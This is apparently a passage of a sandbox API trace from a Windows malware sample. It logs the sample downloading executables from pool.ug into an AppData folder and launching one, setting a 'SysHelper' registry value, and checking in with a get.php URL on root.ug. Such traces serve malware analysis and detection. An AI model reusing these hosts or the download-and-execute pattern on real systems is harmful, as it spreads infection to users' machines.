lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0097.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0097.417] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0097.417] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0098.934] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0098.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0099.221] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0099.223] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0099.359] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0099.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0099.439] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0099.440] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0099.525] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0099.525] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0100.844] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0100.844] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0107.412] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0107.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0107.489] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0107.489] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0107.641] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0107.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0107.809] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0107.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0107.950] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0107.951] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0108.027] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0108.027] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x1200) returned 1 [0108.372] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x1200, lpOverlapped=0x0) returned 1 [0108.372] CloseHandle (hObject=0x694) returned 1 [0108.375] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0108.381] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0108.381] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0108.845] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30d26d8 | out: hHeap=0x680000) returned 1 [0108.845] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30ccf48 | out: hHeap=0x680000) returned 1 [0108.845] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30d61c0 | out: hHeap=0x680000) returned 1 [0108.845] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0108.845] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30c9f40 [0108.845] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x85e) returned 0x30b1290 [0108.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c9f40, cbMultiByte=-1, lpWideCharStr=0x30b1290, cchWideChar=1071 | out: lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin.exe") returned 44 [0108.846] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x860) returned 0x30d61c0 [0108.846] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0108.846] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c9f40 | out: hHeap=0x680000) returned 1 [0108.848] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x860) returned 0x30b1290 [0108.848] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x82f) returned 0x30e2270 [0108.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x30e2270, cbMultiByte=2095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://pool.ug/tesptc/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 44 [0108.848] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x830) returned 0x76cd68 [0108.848] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30e2270 | out: hHeap=0x680000) returned 1 [0108.848] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0108.848] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://pool.ug/tesptc/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0109.050] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x76cd68 | out: hHeap=0x680000) returned 1 [0109.050] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ed6d0, lpdwBufferLength=0x99ed710, lpdwIndex=0x0 | out: lpBuffer=0x99ed6d0*, lpdwBufferLength=0x99ed710*=0x4, lpdwIndex=0x0) returned 1 [0109.050] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30c9f40 [0109.050] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x30cce58 [0109.050] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c9f40 | out: hHeap=0x680000) returned 1 [0109.051] lstrcpyA (in: lpString1=0x30b0208, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" [0109.051] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin.exe") returned 1 [0109.051] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x30d26d8 [0109.051] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x698 [0109.056] SetFilePointer (in: hFile=0x698, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.057] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0109.240] WriteFile (in: hFile=0x698, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0109.241] InternetReadFile (hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8) Thread: id = 43 os_tid = 0xa8c [0089.487] timeGetTime () returned 0x22b72 [0089.487] GetLastError () returned 0x54f [0089.487] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3bc) returned 0x30b3230 [0089.487] GetCurrentThreadId () returned 0xa8c [0089.487] SetLastError (dwErrCode=0x54f) [0089.487] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xfc2a6e4 | out: phkResult=0xfc2a6e4*=0x5c8) returned 0x0 [0089.487] RegQueryValueExW (in: hKey=0x5c8, lpValueName="SysHelper", lpReserved=0x0, lpType=0xfc2a6d8, lpData=0xfc2a6e0, lpcbData=0xfc2a6dc*=0x4 | out: lpType=0xfc2a6d8*=0x0, lpData=0xfc2a6e0*=0x0, lpcbData=0xfc2a6dc*=0x4) returned 0x2 [0089.487] RegSetValueExW (in: hKey=0x5c8, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0xfc2a6e0*=0x1, cbData=0x4 | out: lpData=0xfc2a6e0*=0x1) returned 0x0 [0089.487] RegCloseKey (hKey=0x5c8) returned 0x0 [0089.487] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0089.487] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa0) returned 0x2f8e530 [0089.487] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x3044820 [0089.487] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x840) returned 0x30adfd0 [0089.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3044820, cbMultiByte=-1, lpWideCharStr=0x30adfd0, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0089.487] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x850) returned 0x30ae818 [0089.487] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30adfd0 | out: hHeap=0x680000) returned 1 [0089.487] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3044820 | out: hHeap=0x680000) returned 1 [0089.488] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x8e0) returned 0x30af070 [0089.488] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x2f8e530 | out: hHeap=0x680000) returned 1 [0089.488] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30ae818 | out: hHeap=0x680000) returned 1 [0089.488] lstrcpyW (in: lpString1=0xfc2af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0089.488] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpString2="&first=true" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true" [0089.488] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0089.913] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfc2a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfc2a774 | out: lpBuffer=0xfc2a778*, lpdwNumberOfBytesRead=0xfc2a774*=0x101) returned 1 [0089.913] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0089.913] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0089.913] timeGetTime () returned 0x22d27 [0089.913] timeGetTime () returned 0x22d27 [0089.913] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0089.914] Sleep (dwMilliseconds=0x64) [0090.019] timeGetTime () returned 0x22d94 [0090.019] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.019] Sleep (dwMilliseconds=0x64) [0090.128] timeGetTime () returned 0x22e01 [0090.128] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.128] Sleep (dwMilliseconds=0x64) [0090.237] timeGetTime () returned 0x22e6e [0090.237] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.237] Sleep (dwMilliseconds=0x64) [0090.346] timeGetTime () returned 0x22edc [0090.347] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.347] Sleep (dwMilliseconds=0x64) [0090.456] timeGetTime () returned 0x22f49 [0090.456] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.456] Sleep (dwMilliseconds=0x64) [0090.565] timeGetTime () returned 0x22fb6 [0090.565] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.565] Sleep (dwMilliseconds=0x64) [0090.674] timeGetTime () returned 0x23023 [0090.674] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.674] Sleep (dwMilliseconds=0x64) [0090.783] timeGetTime () returned 0x23090 [0090.783] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.783] Sleep (dwMilliseconds=0x64) [0090.893] timeGetTime () returned 0x230fe [0090.893] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0090.893] Sleep (dwMilliseconds=0x64) [0091.002] timeGetTime () returned 0x2316b [0091.002] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.002] Sleep (dwMilliseconds=0x64) [0091.111] timeGetTime () returned 0x231d8 [0091.111] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.111] Sleep (dwMilliseconds=0x64) [0091.220] timeGetTime () returned 0x23245 [0091.220] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.220] Sleep (dwMilliseconds=0x64) [0091.362] timeGetTime () returned 0x232b2 [0091.362] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.362] Sleep (dwMilliseconds=0x64) [0091.470] timeGetTime () returned 0x23320 [0091.470] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.470] Sleep (dwMilliseconds=0x64) [0091.579] timeGetTime () returned 0x2338d [0091.579] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.579] Sleep (dwMilliseconds=0x64) [0091.688] timeGetTime () returned 0x233fa [0091.688] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.688] Sleep (dwMilliseconds=0x64) [0091.798] timeGetTime () returned 0x23467 [0091.798] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.798] Sleep (dwMilliseconds=0x64) [0091.923] timeGetTime () returned 0x234e4 [0091.923] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0091.923] Sleep (dwMilliseconds=0x64) [0092.032] timeGetTime () returned 0x23551 [0092.032] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0092.032] Sleep (dwMilliseconds=0x64) [0092.141] timeGetTime () returned 0x235be [0092.141] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0092.141] Sleep (dwMilliseconds=0x64) [0092.250] timeGetTime () returned 0x2362c [0092.250] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0092.250] Sleep (dwMilliseconds=0x64) [0092.414] timeGetTime () returned 0x236b8 [0092.414] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0092.414] Sleep (dwMilliseconds=0x64) [0092.518] timeGetTime () returned 0x23725 [0092.518] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0092.518] Sleep (dwMilliseconds=0x64) [0093.289] timeGetTime () returned 0x23792 [0093.289] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.289] Sleep (dwMilliseconds=0x64) [0093.396] timeGetTime () returned 0x23800 [0093.396] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.396] Sleep (dwMilliseconds=0x64) [0093.498] timeGetTime () returned 0x2386d [0093.498] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.498] Sleep (dwMilliseconds=0x64) [0093.607] timeGetTime () returned 0x238da [0093.607] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.607] Sleep (dwMilliseconds=0x64) [0093.716] timeGetTime () returned 0x23947 [0093.716] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.716] Sleep (dwMilliseconds=0x64) [0093.825] timeGetTime () returned 0x239b4 [0093.825] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.825] Sleep (dwMilliseconds=0x64) [0093.938] timeGetTime () returned 0x23a22 [0093.938] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0093.938] Sleep (dwMilliseconds=0x64) [0094.044] timeGetTime () returned 0x23a8f [0094.044] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.044] Sleep (dwMilliseconds=0x64) [0094.153] timeGetTime () returned 0x23afc [0094.153] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.153] Sleep (dwMilliseconds=0x64) [0094.262] timeGetTime () returned 0x23b69 [0094.262] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.262] Sleep (dwMilliseconds=0x64) [0094.372] timeGetTime () returned 0x23bd6 [0094.372] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.372] Sleep (dwMilliseconds=0x64) [0094.699] timeGetTime () returned 0x23c44 [0094.699] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, 